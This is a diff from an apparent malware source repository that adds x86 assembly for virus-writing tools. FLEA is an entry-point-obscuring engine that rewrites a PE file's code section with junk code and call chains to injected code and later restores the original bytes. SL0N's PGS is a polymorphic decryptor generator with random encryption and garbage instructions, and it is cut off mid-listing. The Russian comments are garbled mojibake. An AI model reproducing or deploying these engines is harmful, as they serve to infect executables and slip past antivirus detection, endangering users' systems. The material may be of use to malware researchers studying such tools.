� fake winapi) ;+; ;+;(+) ��� �������� � ������ ������� (��� & trashgen ����� ����� ����� - ������� ����� ����;) ;+; * ����� ��������� ��� ��������������� ������; ;+; ;+;(+) �� ����� WinAPI ;+; ;+;(+) ���������� ����� ���������� �� ����� ������ ����� ��������� uep-������ (����� �����������) ;+; ;+;(x) ���������� ������ � ������-��������. ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; y0p! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������������: ;+; ;+; ;+;1) �����������: ;+; FLEA.asm ;+;2) ����� (������ stdcall): ;+; ... ;+; szBuf db 100 dup (00h) ;+; ... ;+; lea ecx,szBuf ;+; assume ecx:ptr UEPGEN ;+; mov [ecx].rgen_addr,00401000h ;�� ����� ������ ������ ���������� ��� ;+; mov [ecx].tgen_addr,00401300h ;�� ����� ������ ������ ���������� ������� ;+; mov [ecx].mapped_addr,00330000h ;�� ����� ������ ��������� ���� �������� ;+; mov [ecx].xsection,0 ;������ � ����, ������ ��� ����� �������� ���������� ;+; ;�� ����� ��������� ������ ;+; ;��������� ��������� ��������. ;+; call FLEA ;�������� ����������� ������ ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+;v1.0+;������� ������ ������� �����, ������� �������� ������� � ���.++++ ;m1x+ ;EOF++++++++;========================================================================================================+;���������+;========================================================================================================+UEPGEN struct+ rgen_addr dd ?+ tgen_addr dd ?+ mapped_addr dd ?+ xsection dd ?+ reserved1 dd ?+UEPGEN ends+;--------------------------------------------------------------------------------------------------------+T2GEN struct ;+ rgen_addr dd ? ;����� ���������� ��������� ����� (���) ;+ buf_for_trash dd ? ;����� (�����), ���� ���������� ������������ (���, ������������) ������ ;+ size_trash dd ? ;������ (� ������), ������� ������ �������� ;+ regs dd ? ;������� �������� (2 ��) ;+ xmask1 dd ? ;64-������ ����� ��� ��������� ;+ xmask2 dd ? ;�������� ������ (��� ������) ;+ beg_addr dd ? ;��������� ����� ;+ end_addr dd ? ;�������� ����� ;+ mapped_addr dd ? ;���� ������� ;+ reserv1 dd ? ;��������������� (��, ����� �����-�� ��� ��� � �����) ;+T2GEN ends ;+;========================================================================================================+++++MAX_SPOTS equ 10 ;������������ ���-�� ������������ �����+uportion1 equ 85 ;������ (� ������) 1-�� ������ ������+uportion2 equ 50 ;������ (� ������) 2-�� ������ ������+MIN_FIRST_PORTION equ uportion1-30 ;������������ ������ ������ ������ �� ������ ������� ���-�� ����+min_jmp equ uportion1+uportion2+7+10+30 ;���������� �����������+max_jmp equ min_jmp+200 ;���������� ������������++ ;����� ���� �������� ��� ��������+begin_address equ 0 ;��������� ����� (�������� ������ � xTG.asm, ���� ����� ����)+end_address equ 0 ;�������� �����+mask_trash1 equ 00000000000011111111110101111001b ;����� ��� ������+mask_trash2 equ 011110000b ;2-�� ����� ����� (��������� ������ ��������� �������� ������)++++++FLEA: ;������ FLEA+ pushad ;��������� ��������+ cld+ mov ebp,esp ;[ebp+00]+ mov ebx,dword ptr [ebp+24h]+ assume ebx:ptr UEPGEN ;ebx - ��������� �� ��������� UEPGEN+ mov esi,[ebx].mapped_addr+ assume esi:ptr IMAGE_DOS_HEADER+ add esi,[esi].e_lfanew+ push esi ;[ebp-04] ;��������� ��������� �� IMAGE_NT_HEADERS+ lodsd+ assume esi:ptr IMAGE_FILE_HEADER+ movzx ecx,[esi].NumberOfSections+ movzx edx,[esi].SizeOfOptionalHeader+ add esi,sizeof IMAGE_FILE_HEADER+ assume esi:ptr IMAGE_OPTIONAL_HEADER+ push [esi].AddressOfEntryPoint ;[ebp-08] ;��������� ����� �����+ push [esi].ImageBase ;[ebp-12] ;��������� ����+ add esi,edx+ assume esi:ptr IMAGE_SECTION_HEADER+ sub esp,(sizeof T2GEN + 4 + 80) ;�������� � ����� ����� ��� ��������� ���������� � ��������� T2GEN (aka TRASHGEN)+ mov tgen_struct,esp+ mov edx,esp+ assume edx:ptr T2GEN+;--------------------------------------------------------------------------------------------------------+ push mask_trash1 ;����������� ����� ��� ��������� �����+ call gen_mask+ or al,1+ mov xtmask1,eax+ push mask_trash2+ call gen_mask+ or eax,01110000b+ mov xtmask2,eax+;--------------------------------------------------------------------------------------------------------+ push [ebx].rgen_addr ;������� �������� ��������� ���� ��������� TRASHGEN+ pop [edx].rgen_addr+ mov [edx].regs,0FFh+ push xtmask1+ pop [edx].xmask1+ push xtmask2+ pop [edx].xmask2+ mov [edx].beg_addr,begin_address+ mov [edx].end_addr,end_address+ push [ebx].mapped_addr+ pop [edx].mapped_addr+ xor eax,eax+ cdq+;--------------------------------------------------------------------------------------------------------+_search_new_ep_: ;����� �������� ����� ������� ������+ cmp edx,[esi].VirtualAddress+ ja _search_code_sec_+ cmp eax,[esi].PointerToRawData+ ja _search_code_sec_+ mov edx,[esi].VirtualAddress ;� ����� �������� ����� ����� ����� (��� ����� ��������� �� ����� ��������� ������)+ mov eax,[esi].PointerToRawData+ mov edi,[esi].SizeOfRawData+ mov new_ep,edx+ add new_ep,edi+;--------------------------------------------------------------------------------------------------------+_search_code_sec_:+ push eax+ mov eax,old_ep+ mov edi,[esi].VirtualAddress+ cmp edi,eax;old_ep+ ja _nextsection_+ cmp [esi].Misc.VirtualSize,0+ jne _vsok_+ add edi,[esi].SizeOfRawData+ jmp _psok_+_vsok_:+ add edi,[esi].Misc.VirtualSize+_psok_:+ cmp edi,eax+ jbe _nextsection_+ sub eax,[esi].VirtualAddress+ add eax,[esi].PointerToRawData+ add eax,[ebx].mapped_addr+ mov start_addr,eax ;���� ����� ������� ������, �� �������� ���������� ����� ����� �����, �.�. ������ � ������ ������� �����+ mov codesec,esi ;� ����� �������� ��������� � �������� ������ �� ������� ������+_nextsection_:+ pop eax+ add esi,sizeof IMAGE_SECTION_HEADER+ loop _search_new_ep_+;--------------------------------------------------------------------------------------------------------+ mov esi,codesec ;����� �������� ����� ������� ������+ mov eax,[esi].SizeOfRawData+ cmp eax,[esi].Misc.VirtualSize+ jbe _sizecsok_+ cmp [esi].Misc.VirtualSize,0+ je _sizecsok_+ mov eax,[esi].Misc.VirtualSize++_sizecsok_:+ add eax,[esi].VirtualAddress+ sub eax,old_ep+ mov size_codesec,eax+ add eax,old_ep+ mov max_codesec_addr,eax+ mov edi,imNTh+ assume edi:ptr IMAGE_NT_HEADERS+;--------------------------------------------------------------------------------------------------------+_maxvacs_: ;�����, ������ ������������ �����, � ��������� �������:+ ;[�����. ����� ����� ����� ; ������������ ����� � ������� ������]+ ;� � ���� ������� ����� ���������� �����. ����� � ������� ������ ����� ���� ���������� �������, tls � �.�.+ ;� ���� �� ��������� �� ������ �������, �� ����� ������ �����+ mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress+ cmp old_ep,eax+ ja _nextdatadir_+ cmp max_codesec_addr,eax+ jb _nextdatadir_+ mov max_codesec_addr,eax+_nextdatadir_:+ inc ecx+ cmp ecx,15+ jne _maxvacs_+;--------------------------------------------------------------------------------------------------------+ mov eax,max_codesec_addr+ sub eax,[esi].VirtualAddress+ add eax,[esi].PointerToRawData+ add eax,[ebx].mapped_addr+ mov max_codesec_addr,eax ;�������� ������������ ���������� ����� � ������� ������+ ;���, ������ �������� � ��� ����+ mov eax,start_addr+ mov cur_codesec_addr,eax++ push MAX_SPOTS+ call [ebx].rgen_addr ;�������� ��������, ������� ����� �������� � ������� � ������� ������+ inc eax+ mov num_spots,eax++ call _delta_uep_+_delta_uep_:+ pop eax+ sub eax,_delta_uep_+ lea ecx,[restore_bytes+eax]+ mov beg_rest_bytes,ecx ;� ���� ����� ����� ��������� ������������ ����� �� ������� ������ (������� ��������� �������)++ xor ecx,ecx+;--------------------------------------------------------------------------------------------------------+_nextaddrforspots_:+ call get_jmpaddr ;������� ����� ���������� �����, �� ������� �������+ add eax,cur_codesec_addr+ push eax+ add eax,(uportion1+uportion2+7+10) ;�������� 2 ������ ������ + max ������ (mov reg,<address> call reg) (7 byte) + ������ ������� � ������� ��� ������� �������� (6 byte + 3 byte) + ������ ������� ret (+1 byte)+ cmp eax,max_codesec_addr ;� ������� � ������������ ���������� �������+ pop eax+ jae _alladdrforspots_ ;���� ������ ����. ������, �� ����� ������ �� ����� ��������, � ������� �� �����+ push eax ;����� ��������� � ����� �����+ mov cur_codesec_addr,eax ;������� ������� ������� �������� ����� ��� ������ �����+ inc ecx+ cmp ecx,num_spots+ jne _nextaddrforspots_+_alladdrforspots_:+ mov num_spots,ecx ;�������� ���-�� �����, ������� ����� ����� �������� � ������� ������+;--------------------------------------------------------------------------------------------------------+ cmp cl,1+ push 0+ pop eax+ jb _enduep_ ;���� ���� �����, �� ������� �� ������+ mov eax,esp+ push start_addr ;����� ������������ ��� ���������� ������ �����, ����� �������+ je _nomixaddr_+;--------------------------------------------------------------------------------------------------------+ push ecx+ push eax+ call mix_addr ;���������� ������ �����++_nomixaddr_:+ xor edx,edx+ mov edi,beg_rest_bytes+ stosb ;� 1-�� ����� ����� ��������� ���-�� �����. ���� ��������� ���+ mov cur_rest_bytes,edi+;--------------------------------------------------------------------------------------------------------+_genspot_:+ mov edi,cur_rest_bytes+_portion1_:+ push uportion1+ call [ebx].rgen_addr+ cmp eax,MIN_FIRST_PORTION+ jb _portion1_+ mov spot1,eax+ xchg eax,ecx+ push uportion2+ call [ebx].rgen_addr+ mov spot2,eax+ add ecx,eax+ add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)+ mov eax,ecx+ stosd ;������� �������� � ����. ������ ������ ���������� ����� (��� 1-�� ������ ������ + jmp + 2-�� ������ ������)+ mov eax,dword ptr [esp]+ mov esi,codesec+ sub eax,[ebx].mapped_addr+ sub eax,[esi].PointerToRawData+ add eax,[esi].VirtualAddress+ add eax,base+ stosd ;� �������� ������ ���������� ����������� �����, ���� ����� ����� ��������������� ����� ����������� �����+ mov esi,dword ptr [esp]+ rep movsb ;� ����� �������� �����, �� ����� ������� ������� �����+ mov cur_rest_bytes,edi+ pop edi+ push edx+ mov edx,tgen_struct+;--------------------------------------------------------------------------------------------------------+ mov [edx].buf_for_trash,edi+ mov [edx].size_trash,6 ;������ �������+ mov [edx].xmask1,0b+ mov [edx].xmask2,100b ;� ����� ��������� ��������� ������ ������� (��� ������� ���������� ������ ����� �������� ��������� ������ ������)+ push edx+ call [ebx].tgen_addr ;������� ������ (push ebp mov ebp,esp sub esp,0xXX)+ push xtmask1+ pop [edx].xmask1+ push xtmask2+ pop [edx].xmask2+;--------------------------------------------------------------------------------------------------------+ mov [edx].buf_for_trash,eax+ mov eax,spot1+ mov [edx].size_trash,eax+ push edx+ call [ebx].tgen_addr ;������� ������ ������ ������+ xchg eax,edi+ push edi+ add edi,5+ mov eax,dword ptr [esp+04]+ cmp eax,num_spots ;��������, ������� ��������� ����� ��� ������ �����?+ jne _nextspot_ ;���� ��, ����� ������� ��������� �����, jmp � ������� ����� ��������� �� ��������� ������, � �� �� ��������� �����+;********************************************************************************************************+comment %+ ;������ ���������� �����+ mov esi,codesec ;� ������� �������� ������� ��������� ������� ��� jmp (0xE9)+ sub edi,[ebx].mapped_addr+ sub edi,[esi].PointerToRawData+ add edi,[esi].VirtualAddress+ mov ecx,[ebx].xsection+ jecxz _notxsec_+ assume ecx:ptr IMAGE_SECTION_HEADER+ sub edi,[ecx].VirtualAddress+ sub edi,[ecx].SizeOfRawData ;����� ������ call near (0xE8 0xXX 0xXX 0xXX 0xXX)+ jmp _finalcall_+_notxsec_:+ sub edi,new_ep+_finalcall_:+ neg edi+ xchg edi,dword ptr [esp]+ mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)+ stosb+ pop eax+ stosd+ ;%++;comment ! ;for mcafe+ mov edi,new_ep+ mov ecx,[ebx].xsection+ jecxz _notxsec_ ;���� ���� ������, ������ ���������� ����� ���� �������� � ����� ��������� ������+ assume ecx:ptr IMAGE_SECTION_HEADER+ mov edi,[ecx].VirtualAddress+ add edi,[ecx].SizeOfRawData+_notxsec_:+ add edi,base ;� ����� ������+ xchg edi,dword ptr [esp]+ mov al,0B8h ;mov reg32,<address>+ stosb+ pop eax+ stosd+ mov al,0FFh ;call reg32+ stosb+ mov al,0D0h+ stosb+ ;!+ mov [edx].buf_for_trash,edi+ mov eax,spot2+ mov [edx].size_trash,eax+ push edx+ call [ebx].tgen_addr ;2-�� ������ ������ ��� ���������� �����+;--------------------------------------------------------------------------------------------------------+ mov [edx].buf_for_trash,eax+ mov [edx].size_trash,3 ;������ �������+ mov [edx].xmask1,0b+ mov [edx].xmask2,1000b ;� ����� ��������� ��������� ������ ������� (��� ������� ���������� ������ ����� �������� ��������� ��������� ������ ������)+ push edx+ call [ebx].tgen_addr ;������� ������ ��� ���������� ����� (mov esp,ebp pop ebp)+ mov byte ptr [eax],0C3h ;� ������� ret+;--------------------------------------------------------------------------------------------------------+ pop edx+ jmp _endspot_ ;������� �� �����+;********************************************************************************************************+ ;������ ���������� �����+_nextspot_:+ sub edi,dword ptr [esp+08] ;��������� �����+ neg edi+ xchg edi,dword ptr [esp]+ mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)+ stosb+ pop eax+ stosd+ mov [edx].buf_for_trash,edi+ mov eax,spot2+ mov [edx].size_trash,eax+ push edx+ call [ebx].tgen_addr ;2 ������ ������ ��� ���������� ��������+;--------------------------------------------------------------------------------------------------------+ mov [edx].buf_for_trash,eax+ mov [edx].size_trash,3 ;������ �������+ mov [edx].xmask1,0b+ mov [edx].xmask2,1000b ;� ����� ��������� ��������� ������ ������� (��� ������� ���������� ������ ����� �������� ��������� ��������� ������ ������)+ push edx+ call [ebx].tgen_addr ;������� ������ ��� ���������� ����� (mov ebp,esp pop ebp)+ mov byte ptr [eax],0C3h ;� ������� ret+;--------------------------------------------------------------------------------------------------------+ pop edx+ inc edx+ jmp _genspot_+;--------------------------------------------------------------------------------------------------------+_endspot_:+ mov edi,beg_rest_bytes+ mov eax,num_spots ;������������ ���-�� ���������� ����� (�.�. �� ����� �� �� ��������� 1-��� �����, ������� ������ ������������ � ����� �����)+ inc eax+ stosb+ mov eax,start_addr+ mov esi,codesec+ sub eax,[ebx].mapped_addr+ sub eax,[esi].PointerToRawData+ add eax,[esi].VirtualAddress+ add eax,base+;--------------------------------------------------------------------------------------------------------+_enduep_:+ mov esp,ebp+ mov dword ptr [ebp+1Ch],eax ;��������� � EAX+ popad+ ret 4+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ��������/������ FLEA+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;������� FLEA_RESTBYTES+;�������������� ����� ����������� ���� (�� ���� �����)+;�����:+; - ������ ���� ���� :)+;EAX - ���-�� ��������������� ����� (�� ����� ������� ����������� ����� ����������� �����)+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+FLEA_RESTBYTES:+ pushad+ cld+ call _delta_ueprest_+_delta_ueprest_:+ pop eax+ sub eax,_delta_ueprest_+ lea esi,[restore_bytes+eax]+ push esi+ xor eax,eax+ lodsb+ xchg eax,ebx ;��������� � EBX ���-�� ���������� �����+ mov edx,ebx+_nextrestspot_:+ lodsd+ xchg eax,ecx ;��������� � ECX ������ ���������� �����+ lodsd+ xchg eax,edi ;��������� � EDI �����, ��� ��������� ��������� �����+ rep movsb ;� ������� �� ����� ����� ����� ������������ (����� �����������) �����+ dec ebx+ jne _nextrestspot_+ pop eax+ sub esi,eax+ xchg eax,esi+ mov dword ptr [esp+1Ch],edx+ popad+ ret+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� FLEA_REST+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;������� FLEA_RESTSTACK+;�������������� ����� ����� ����� �����+;���� (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):+;num_spots - ���������� ������������ � ������ �����+; (��� �������� ����� �������� �� ������ restore_bytes)+;�����:+;������������ �����, � ����� � ECX=0, EAX = ����� �������, ������� ����������� ����� ����� ������ ������+;������� (FLEA_RESTSTACK);+;�������:+; ��� ��� ������ ����� ������ ������� EBP � ESP (����� EBP � ����, � ����� �����, ��������� ��+; CALL'��), �� ���� ������������ ������ ��������, � �������������� ����.+; �����: �������� ��� ������� ������ �����, ����� � ����� �� ��� �� ������� ������� ������.+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+FLEA_RESTSTACK:+ pop eax+ pop ecx+_reststack_:+ add esp,4 ;pop edx+ mov esp,ebp+ pop ebp+ loop _reststack_+ jmp eax+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ����� FLEA_RESTSTACK+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;��������������� ������� gen_mask+;��������� ����� ��� ������+;���� (stdcall) (gen_mask(DWORD xmask)):+; xmask - ��������� �����+;�����:+; EAX - ����� �����+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+gen_mask:+ push ecx+ mov ecx,dword ptr [esp+08]+ push -1+ call [ebx].rgen_addr+ and ecx,eax+ rol eax,10h+ push eax+ call [ebx].rgen_addr+ and ecx,eax+ xchg eax,ecx+ pop ecx+ ret 4+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� gen_mask+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;��������������� ������� get_jmpaddr+;��������� �������� ��� jmp'a, ������� ����� ������� �� ��������� �����+;�����:+;��� - ������� ��������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+get_jmpaddr:+ push max_jmp+ call [ebx].rgen_addr+ cmp eax,min_jmp+ jb get_jmpaddr+ ret+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� get_jmpaddr+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;��������������� ������� mix_addr+;������������� ��������� ������� ������ � �������+;�������: � ������ ������ ������������ ��� ������������� �������� ������� ������� �����+;���� ( mix_adr(DWORD *addr_mas, DWORD num_elem) ):+;addr_mas - ����� ������(�������), ��� ��������� ��������, ������� ������� ����������+;num_elem - ���-�� ���� ����� ���������+;�����:+;������������ ������ � ������(�������)+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+mix_addr:+ pushad ;+ mov ecx,dword ptr [esp+28h] ;ECX - ���-�� ���������+ mov esi,dword ptr [esp+24h] ;ESI - ����� ������, ��� ��������� ��� ��������+ xor edx,edx+_nxtmix_:+ push ecx+ call [ebx].rgen_addr ;�������� �� [0..ECX-1]+ push dword ptr [esi+edx*4] ;� ������������+ push dword ptr [esi+eax*4]+ pop dword ptr [esi+edx*4]+ pop dword ptr [esi+eax*4]+ inc edx+ cmp edx,ecx+ jne _nxtmix_ ;���� ���������� ��� ��������, �� �� �����++ popad+ ret 4*2+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� mix_addr+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++++;========================================================================================================+;��������������� ���������� (��������� � �����)+;========================================================================================================+imNTh equ dword ptr [ebp-04] ;��������� �� IMAGE_NT_HEADERS+old_ep equ dword ptr [ebp-08] ;������ ����� �����+base equ dword ptr [ebp-12] ;ImageBase+new_ep equ dword ptr [ebp-16] ;����� ����� ����� (� ����� ��������� ������)+start_addr equ dword ptr [ebp-20] ;���������� ����� ����� ����� (+ ���� ��������)+codesec equ dword ptr [ebp-24] ;��������� �� ������� ������ � �������� ������+size_codesec equ dword ptr [ebp-28] ;������ � ������� ������, ������� ������� ����� ������������ ��� ������ �����+max_codesec_addr equ dword ptr [ebp-32] ;������������ ���������� ����� � ������� ������, �� �������� ����� ���������� �����+cur_codesec_addr equ dword ptr [ebp-36] ;������� ����� � ������� ������ (������������ ��� ��������� ���������� ������ ������ ��������)+num_spots equ dword ptr [ebp-40] ;���-�� ������� ���������� ����� � ������� ������+beg_rest_bytes equ dword ptr [ebp-44] ;����� ������, ��� �������� ���-�� ���������� �����, ������� ��, ������, � ����� ������������ ����� ������� ������+cur_rest_bytes equ dword ptr [ebp-48] ;������� ����� � ������ (�������������� ����������), ���� ��������� ������������ ����� ������� ������ etc+spot1 equ dword ptr [ebp-52] ;������ 1-�� ������ ������ (���� ������ ������ ������ �������, ������� ����� ����� ����������) (����� ��������������� ����������)+spot2 equ dword ptr [ebp-56] ;������ 2-�� ������ ������ etc+tgen_struct equ dword ptr [ebp-60] ;����� ��������� TRASHGEN (��� �������� xTG - ��� ������� �������)+xtmask1 equ dword ptr [ebp-64] ;����� �����1+xtmask2 equ dword ptr [ebp-68] ;����� �����2++restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);�����, �������������� ����� ��������� ���������:+ ;num_spots db 1 ;���-�� ���������� ����� � ������� ������+ ;size_spot1 dd 1 ;������ ���������� �����+ ;addr_spot1 dd 1 ;����� ���������� ��������+ ;save_bytes1 db size_spot1 ;����������� ������������ ����� (������ ������� �� � �������� ��������� �����)+ ;size_spot2 dd 1 ;etc+ ;addr_spot2 dd 1+ ;save_bytes2 db size_spot2+ ;...+ ;size_spot(num_spots) dd 1+ ;addr_spot(num_spots) dd 1+ ;save_bytes(num_spots) db size_spot(num_spots)++UEP_RESTBYTES_SIZE equ $ - restore_bytes ;������ ������, ��� ����+;========================================================================================================+diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Mixer.7z b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Mixer.7znew file mode 100644index 0000000..87202e3Binary files /dev/null and b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Mixer.7z differdiff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Pgs.asm b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Pgs.asmnew file mode 100644index 0000000..5db021c--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Pgs.asm@@ -0,0 +1,334 @@+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; [POLYMORPHIC GENERATOR OF SHIT V. 0.4] ;+; ;+; ######### ######## ######## ;+; ########### ########## ########## ;+; ##### ###### ###### ## ###### ## ;+; ##### ##### ##### ##### ;+; ##### ##### ##### ######## ;+; ########### ##### ###### ######## ;+; ######### ##### ###### ##### ;+; ##### ##### ### ##### ;+; ##### ########### ########### ;+; ##### ##### ### ######### ;+; ;+; FOR MS WINDOWS ;+; ;+; BY SL0N ;+;------------------------------------------------------------------------------;+; MANUAL: ;+; BUFFER FOR ENCRYPTED CODE + DECRYPTORS -> EDI ;+; START OF CODE -> EAX ;+; SIZE OF CODE -> ECX ;+; ;+; CALL MORPH ;+; ;+; SIZE OF ENCRYPTED CODE + DECRYPTORS -> ECX ;+; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI ;+;------------------------------------------------------------------------------;+; (+) DO NOT USE WIN API ;+; (+) EASY TO USE ;+; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ;+; (+) USE DELTA OFFSET ;+; (+) USE X87 INSTRUCTIONS ;+; (+) IT CREATES VARIABLE DECRYPTOR SIZE ;+; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS ;+; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR) ;+; (+) RANDOM NUMBER OF DECRYPTORS ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+morph:+ push esi ebp ; ��������� ��������++ call delta0 ;+delta0: ; ���������+ pop ebp ; ������ ��������+ sub ebp,offset delta0 ;++ push eax ; ����� � ���� eax+decr_number:+ mov eax,40 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..30+ test eax,eax ; ���� ����� ����� 0, �� ���+ jz decr_number ; ��� �� ��������+ mov ebx,eax ; �������� ����� � ebx+ pop eax ; ��������������� eax+multi_decr:+ mov edx,edi+ call polym ;+ mov eax,edx ;+ add edi,ecx ; ���������� �������+ dec ebx ; �����������, �������+ test ebx,ebx ; �������� � �������� ebx+ jnz multi_decr ;++ sub edi,ecx ; ������������++ pop ebp esi ; ��������������� ��������+ ret ; ������� �� ������������+;------------------------------------------------------------------------------;+polym:+ push ebp edi esi ebx ; ��������� ��������++ mov [ebp+sz_code],ecx ; ������� ��������� ������+ mov [ebp+begin_code],eax ; �� ��������� � ����������+ mov [ebp+buff],edx ;+ mov edi,edx ;+;------------------------------------------------------------------------------;+ call len_gen ; �������� ��������� ����+ mov [ebp+sz_decr],40+ add [ebp+sz_decr],ecx ; ��������� ����� ������ �+ ; ������� ����������++ call reg_mutate ; �������� ��������, �������+ ; ����� �������������� �+ ; ����������++ mov ecx,[ebp+len+0] ; � ���������� ������ ������+ call garbage ; �������� ����������++ mov al,0e8h ; ���������� ���������+ stosb ; ����������: call $+5+ xor eax,eax ;+ stosd ;++ mov ecx,[ebp+len+4] ; ���������� ����� ������+ call garbage ; �������� ����������++ mov al,58h ; ���������� ���������+ add al,bh ; ���������� ����������:+ stosb ; pop reg1++ mov ecx,[ebp+len+8] ; ���������� ��������+ call garbage ; ����������++ ; ���������� ���������+ mov al,81h ; ���������� ����������:+ stosb ; add reg1,sz_decr-len[0]+ mov al,0c0h ;+ add al,bh ; ����� ������� reg1 �����+ stosb ; ��������� �� ������+ ; ��������������� ����+ mov eax,[ebp+sz_decr] ;+ sub eax,[ebp+len] ;+ sub eax,9 ;+ stosd ;++ mov 